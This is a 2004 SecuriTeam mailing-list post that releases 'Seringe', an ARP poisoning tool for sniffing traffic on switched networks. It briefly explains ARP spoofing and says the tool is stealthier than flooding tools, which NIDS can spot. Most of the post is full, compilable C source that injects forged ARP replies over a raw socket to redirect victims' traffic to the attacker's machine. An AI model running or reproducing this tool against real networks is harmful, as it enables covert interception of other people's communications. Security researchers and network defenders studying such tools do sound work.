[TOOL] Seringe - Statically Compiled ARP Poisoning Tool

From: SecuriTeam (support_at_securiteam.com)
Date: 02/18/04

  • Next message: SecuriTeam: "[EXPL] Format String Vulnerability in DreamFTP (Exploit)"
    To: list@securiteam.com
    Date: 18 Feb 2004 18:28:32 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Seringe - Statically Compiled ARP Poisoning Tool
    ------------------------------------------------------------------------

    DETAILS

    Seringe is a tool that intercepts ARP requests and replies with his own
    hardware address. This is done to "sniff" traffic on a switched network
    where traditional "sniffers" fail.

    ARP poisoning is nothing new, it has been around, and implemented many
    times in several tools, for example: ettercap and dsniff. While being more
    stealth than just tools that "flood" the network with many ARP-replies,
    updating machines ARP cache, seringe will update only ARP caches of
    machines requesting arp addresses. Other, "flooding" tools can be easily
    detected by NIDS's or by looking at tcpdump output, such as the following
    excerpt:

    (IP addresses are modified for reasons of privacy)
    10:23:04.052275 arp who-has 10.1.4.101 tell 10.1.4.106
    10:23:04.052279 arp who-has 10.1.4.102 tell 10.1.4.106
    10:23:04.052312 arp who-has 10.1.4.103 tell 10.1.4.106
    10:23:04.058605 arp who-has 10.1.4.105 tell 10.1.4.106
    10:23:04.073481 arp who-has 10.1.4.107 tell 10.1.4.106
    10:23:04.088467 arp who-has 10.1.4.109 tell 10.1.4.106

    In order to communicate over ethernet, a network card needs to know the
    hardware address of the target interface. To achieve this addresses ARP
    (address resolution protocol) is used. ARP is a simple, lightweight
    protocol. To get the mac address of the target, the following sequence
    happens: Host A needs to know the hardware address (mac address) of host
    B. And assume that A's ip address is 10.0.0.1 and B's ip address is
    10.0.0.2.
    1. Host A sends a broadcast packet requesting the mac addr of B
    2. B responds with his IP address and his mac address
    3. A knows where to sent packets over ethernet to reach B

    Now, what seringe does is taking over step 2, and sending host A a fake
    hardware address for host B. A will think that B is at the "fake" mac
    address and sent packets to this mac address, thinking it is B. By this,
    an attacker can capture and record the packets and forward 'em to the real
    B host.

    Compiling:
    To compile seringe, you need a Linux machine. Seringe has been tested
    successfully on Linux, running kernel 2.4.20 and 2.6.0. To compile
    seringe: gcc seringe.c -o seringe

    Source Code:
    //seringe.c
    /*
       seringe v0.2: arp injector and redirector
       Copyright 2003,2004 - Michael Hendrickx (michael@scanit.be)
     
       intercepts arp requests, sends "own" mac address (or -m arg).
       Without libnet, libpcap or any other libraries.. made during
       a security audit when i had no access to these libraries.
       
       todo: accept ip addr arguments with -m and -f
     
    */
     
    #include < stdio.h>
    #include < stdlib.h>
    #include < unistd.h>
    #include < string.h>
    #include < ctype.h>
    #include < unistd.h>
    #include < sys/types.h>
    #include < sys/socket.h>
    #include < linux/sockios.h>
    #include < linux/if_ether.h>
    #include < linux/if_packet.h>
    #include < sys/ioctl.h>
    #include < netinet/in.h>
    #include < net/if.h>
    #include < signal.h>

    #define IFACE "eth0"
    #define VERSION "0.2"

    /* global vars - tsk tsk */

    signed int verbosity, // verbose flag
                    sockfd; // our socket
    unsigned int counter = 0;
    FILE *logfd = NULL; // our logfile
    extern int errno;

    // 'borrowed' from if_arp.h, #include gave errors
    struct arphdr
    {
        unsigned short arp_hrdad; // hardware addr format
        unsigned short arp_prot; // protocol address format
        unsigned char arp_halen; // hardware addr length
        unsigned char arp_prlen; // protocol address length
        unsigned short arp_opcode; // arp opcode (command)
        
        unsigned char ar_sha[ETH_ALEN];
        unsigned char ar_sip[4];
        unsigned char ar_tha[ETH_ALEN];
        unsigned char ar_tip[4];
    };

    struct packet
    {
        struct ethhdr ethhdr;
        struct arphdr arphdr;
    } *ppacket;

    //clean shutdown of the program
    void cleanup(int sig){
        if(sockfd>0) close(sockfd);
        if(logfd>0) fclose(logfd);
        if(ppacket) free(ppacket); // save the whales, free the malloc()s
        fprintf(stdout, "\nseringe terminated with signal %d\n", sig);
        fprintf(stdout, "%d arp requests \"fullfilled\"\n", counter);
        exit(sig);
    }

    void usage(char *p){
        fprintf(stderr, "usage: %s [-vhp] [-l < file>] [-i < iface>] [-f <
    addr>] [-m < addr>]\n", p);
        fprintf(stderr, "where: -l < file> : log activity to < file>\n");
        fprintf(stderr, " -i < iface> : which interface to use (default:
    %s)\n", IFACE);
        fprintf(stderr, " -f < addr> : only \"poison\" this machine
    (hwaddr)\n");
        fprintf(stderr, " -m < addr> : send this hwaddr instead of own
    mac addr\n");
        fprintf(stderr, " -p : don't put interface in
    promiscious mode\n");
        fprintf(stderr, " -h : this screen\n");
        fprintf(stderr, " -v : verbosity\n");
        fprintf(stderr, "\nnote: use this tool with responsibility\n");
        exit(1);
    }

    // gets hwaddr of *iface
    void getmymac(unsigned char *iface, unsigned char *hwaddr){
        struct ifreq ifr;
        signed int tmpsock;

        memset(&ifr, 0x0, sizeof(struct ifreq));
        strncpy(ifr.ifr_name, iface, IF_NAMESIZE-1);
        if((tmpsock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
     perror("socket"); exit(1); }
        if(ioctl(tmpsock, SIOCGIFHWADDR, &ifr)< 0){
     close(tmpsock); perror("ioctl()"); exit(1); }
        
        memcpy(hwaddr, (unsigned char *)&ifr.ifr_hwaddr.sa_data, 6);
        close(tmpsock);
    }

    // gets the interface *iface's index number
    unsigned int getifndx(unsigned char *iface){
        struct ifreq ifr;
        signed int tmpsock;

        memset(&ifr, 0x0, sizeof(struct ifreq));
         
        strncpy(ifr.ifr_name, iface, IF_NAMESIZE-1);
        if((tmpsock = socket(AF_INET,SOCK_STREAM,0))< 0){
            perror("socket"); cleanup(1); }
                                           
        if(ioctl(tmpsock, SIOCGIFINDEX, &ifr)< 0){
            close(tmpsock); perror("ioctl"); cleanup(1); }
                                                          
        
        close(tmpsock);
        return ifr.ifr_ifindex;
    }

    // sets interface in promiscious mode
    unsigned int setprom(unsigned char *iface){
        struct ifreq ifr;
        signed int tmpsock;

        memset(&ifr, 0x0, sizeof(struct ifreq));
        strncpy(ifr.ifr_name, iface, IF_NAMESIZE-1);
        tmpsock = socket(AF_INET,SOCK_STREAM,0);
        if(ioctl(tmpsock, SIOCGIFFLAGS, &ifr)< 0){
            close(tmpsock); perror("ioctl"); cleanup(1); }
            
        ifr.ifr_flags = (ifr.ifr_flags | IFF_PROMISC);
        if(ioctl(tmpsock, SIOCSIFFLAGS, &ifr)< 0){
            close(tmpsock); return 1; }
            
        close(tmpsock);
        return 0;
    }

    #define ETH_NULL "\x00\x00\x00\x00\x00\x00"
    #define ETH_BCAST "\xff\xff\xff\xff\xff\xff"

    // linux/if_arp.h defs
    #ifndef ARPHRD_ETHER
    #define ARPHRD_ETHER 1
    #endif
    #ifndef ARPOP_REQUEST
    #define ARPOP_REQUEST 1
    #endif
    #ifndef ARPOP_REPLY
    #define ARPOP_REPLY 2
    #endif
        
    void logtofile(unsigned char *msg){
        if(fprintf(logfd, "%s", msg)< 1)
            fprintf(stderr, " [e] error writing to logfile\n");
    }

    unsigned int handle(struct packet *input, unsigned char filter[ETH_ALEN]){

        // if we are filtering, other packets should be dropped
        if(memcmp(filter, ETH_NULL, 6))
            if(memcmp(input->ethhdr.h_source, filter, ETH_ALEN)) return 0;
        
        // everything that is not a ethernet broadcast should be denied
        if(memcmp(input->ethhdr.h_dest, ETH_BCAST, ETH_ALEN)) return 0;
        // (also for passing?)
        
        // if it is not an normal arp request, drop it
        if(input->ethhdr.h_proto != htons(ETH_P_ARP)) return 0;
        if(input->arphdr.arp_hrdad != htons(ARPHRD_ETHER)) return 0;
        if(input->arphdr.arp_prot != htons(ETH_P_IP)) return 0;
        if(input->arphdr.arp_opcode != htons(ARPOP_REQUEST)) return 0;
        
        // it's an arp request
        counter++;
        
        if(logfd||verbosity){
            unsigned char *logmsg = malloc(256);
            snprintf(logmsg, 255, "%4d : %d.%d.%d.%d : who has %d.%d.%d.%d ?",
                        counter,
                        input->arphdr.ar_sip[0],input->arphdr.ar_sip[1],
                        input->arphdr.ar_sip[2],input->arphdr.ar_sip[3],
                 
                        input->arphdr.ar_tip[0],input->arphdr.ar_tip[1],
                        input->arphdr.ar_tip[2],input->arphdr.ar_tip[3]);
                                            
            if(logfd) logtofile(logmsg); // write to logfile
            if(verbosity > 0) printf(logmsg); // write to screen
            free(logmsg);
        }
            
        return 1;
    }

    void inject(struct packet *input, unsigned char hwaddr[ETH_ALEN]){
        struct packet *output = malloc(sizeof(struct packet));
        unsigned int i;
        
        // ethernet header
        memcpy(output->ethhdr.h_dest, input->ethhdr.h_source, ETH_ALEN);
        memcpy(output->ethhdr.h_source, hwaddr, ETH_ALEN);
        output->ethhdr.h_proto = htons(ETH_P_ARP);
        
        //arp header
        output->arphdr.arp_hrdad = htons(ARPHRD_ETHER);
        output->arphdr.arp_prot = htons(ETH_P_IP);
        output->arphdr.arp_halen = ETH_ALEN;
        output->arphdr.arp_prlen = 4;
        output->arphdr.arp_opcode = htons(ARPOP_REPLY);
        
        // copy our mac addr as mac addr of "requested ip"
        memcpy(output->arphdr.ar_sha, hwaddr, ETH_ALEN);
        
        // but use "his" ip address.
        memcpy(output->arphdr.ar_sip, input->arphdr.ar_tip, 4);

        // dest = the machine who wanted the info
        memcpy(output->arphdr.ar_tha, input->arphdr.ar_sha, ETH_ALEN);
        memcpy(output->arphdr.ar_tip, input->arphdr.ar_sip, 4);
        
        // sent the packet, three times, to not be overwritten by slower, real
    hosts

        for(i=0;i< 3;i++){
            if(write(sockfd, output, sizeof(struct packet))< 0){
            perror("write");
            cleanup(1);
            }
            usleep(500);
        }
            
        if(logfd||verbosity){
            unsigned char *logmsg = malloc(256);
            snprintf(logmsg, 255, " -> %02x:%02x:%02x:%02x:%02x:%02x\n",
                    
    hwaddr[0],hwaddr[1],hwaddr[2],hwaddr[3],hwaddr[4],hwaddr[5]);
            if(logfd) logtofile(logmsg); // write to logfile
            if(verbosity > 0) printf(logmsg); // write to screen
            free(logmsg);
        }
    }

    int main(int argc, char *argv[], char *envp[]){
        // variables
        signed int c; // getopt
        unsigned char *logfn = "", // logfile
                  *iface = "", // which interface
                            hwaddr[IFHWADDRLEN],// 6char macaddr
                            filaddr[IFHWADDRLEN] = { 0x0 }, // if we should
    filter, filter on this one
                            flmyhw = 0, // flag for own hardware addr
                            flprom = 1; // flag to set interface in
    prom mode
        struct sockaddr_ll sll = { 0x0 }; // lowlevel interface stuff

        // start
        fprintf(stdout, "seringe v%s: arp injector\n", VERSION);
        fprintf(stdout, "by michael@scanit.be\n\n");

        if(argc == 1) fprintf(stdout, "note: run -h to see available
    options\n");

        while(1){
     c = getopt(argc, argv, "hl:vpm:i:f:");
     if(c==-1) break;
     switch(c){
         case 'h':
      usage(argv[0]);
      break;
         case 'l':
      logfn = optarg;
      logfd = fopen(optarg, "w+");
      if(logfd == NULL){ perror("fopen"); exit(1); }
      break;
         case 'v':
      verbosity++;
      break;
         case 'm':
                    flmyhw = 1;
      if(sscanf(optarg,"%x:%x:%x:%x:%x:%x",
                            hwaddr, hwaddr+1, hwaddr+2,
                            hwaddr+3,hwaddr+4, hwaddr+5)!=6){
                        fprintf(stderr, " [e] unable parse hwaddr
    \"%s\"\n\n",optarg);
                        cleanup(1);
                    }
      break;
                case 'f':
                    if(sscanf(optarg,"%x:%x:%x:%x:%x:%x",
                            filaddr, filaddr+1, filaddr+2,
                            filaddr+3, filaddr+4, filaddr+5)!=6){
                        fprintf(stderr, " [e] unable parse hwaddr
    \"%s\"\n\n",optarg);
                        exit(1);
                    }
                    break;
                    
         case 'i':
      iface = optarg;
      break;
                case 'p':
                    flprom = 0;
         default:
      break;
     }
        }

        if(strlen(iface) == 0) iface = IFACE;
        if(!flmyhw) getmymac(iface, hwaddr);
            
        if(verbosity > 0){
     if(strlen(logfn)>0) fprintf(stdout, " [i] logging to %s\n", logfn);
     fprintf(stdout, " [i] arp reply will be %02x:%02x:%02x:%02x:%02x:%02x\n",

                    hwaddr[0], hwaddr[1],hwaddr[2],hwaddr[3],hwaddr[4],
    hwaddr[5]);
            fprintf(stdout, " [i] looking for arp requests ");
            if(memcmp(ETH_NULL, filaddr, 6))
                fprintf(stdout, "coming from %02x:%02x:%02x:%02x:%02x:%02x\n",
                    filaddr[0],
    filaddr[1],filaddr[2],filaddr[3],filaddr[4],filaddr[5]);
            else
                fprintf(stdout, "\n");
        }
        
        // set signals
        signal(SIGHUP, SIG_IGN);
        signal(SIGINT, cleanup);
        signal(SIGTERM, cleanup);
        signal(SIGKILL, cleanup);
        signal(SIGQUIT, cleanup);
        
        // open raw socket
        sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); // or
    ETH_P_ALL?
        if(sockfd < 0){ perror("socket"); exit(1); }
        
        // set in promiscious mode if requested
        if(flprom)
            if(setprom(iface))
                fprintf(stdout, " [e] could not set %s in promiscious mode\n",
    iface);
        
        // setup sockaddr_ll, to talk through this iface
        sll.sll_family = AF_PACKET;
        sll.sll_protocol = htons(ETH_P_ALL);
        sll.sll_ifindex = getifndx(iface);
        
        if(bind(sockfd, (struct sockaddr*)&sll, sizeof(sll)) == -1){
            perror("bind");
            cleanup(0);
        }

        // make space
        ppacket = malloc(sizeof(struct packet));
        
        // and.. sniff
        while(1){
            memset(ppacket, 0x0, sizeof(struct packet));
            read(sockfd, ppacket, (sizeof(struct packet)));
            if(handle(ppacket, filaddr) == 1) inject(ppacket, hwaddr);
        }
            
        // khalas :)
        return 0; // to keep -Wall happy, we never come here
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:michael@scanit.be> Michael
    Hendrickx.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Format String Vulnerability in DreamFTP (Exploit)"

    Relevant Pages